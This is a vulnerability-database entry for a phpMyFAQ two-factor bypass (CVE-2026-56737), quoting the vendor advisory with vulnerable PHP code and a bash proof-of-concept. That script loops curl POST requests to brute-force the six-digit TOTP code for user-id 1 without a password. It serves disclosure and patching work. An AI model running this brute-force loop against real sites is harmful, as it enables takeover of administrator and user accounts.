CVE-2026-56737
highpriority · track · 0EPSS 0.005 · 44 %ileRUUSEPSS · scored 2026-10-27
phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account’s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-8gpw-xvpf-hvx5phpMyFAQ's two-factor authentication login bypasses the password factor2026-09-24ghsa · osvUS
### Summary The public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid 6-digit TOTP token and a chosen `user-id`. It does **not** require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators. ### Details `src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`: ```php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); } $token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT); if ($userId <= 0) { /* ... */ } $this->currentUserService->getUserById($userId); // loads attacker-chosen user if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... } ``` `twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`): ```php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; } ``` There is **no server-side state** (such as a "password already verified for this user" flag) tying the `/check` step to the password step. Compare the admin flow, which does it correctly via a `2fa_pending_user_id` session value set only **after** the password is validated (`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) — proving the frontend omission is a regression, not an intended design. `validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret, so this is *not* a universal bypass of all accounts — it specifically defeats the **password factor of every 2FA-enabled account**: ```php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only } ``` Because `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to *strengthen* the password, becomes the *only* barrier and is independently guessable. ### PoC Pre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric `user-id` (1 = first/admin account in default installs). ```bash # No password required. Submit user-id + a 6-digit TOTP guess to /check. # Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{http_code} %{redirect_url}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done # A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). ``` If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all. ### Impact Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.
also known as (1)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (4) nvd
External citations — patches, advisories, analysis.
- https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f
- https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a
- https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan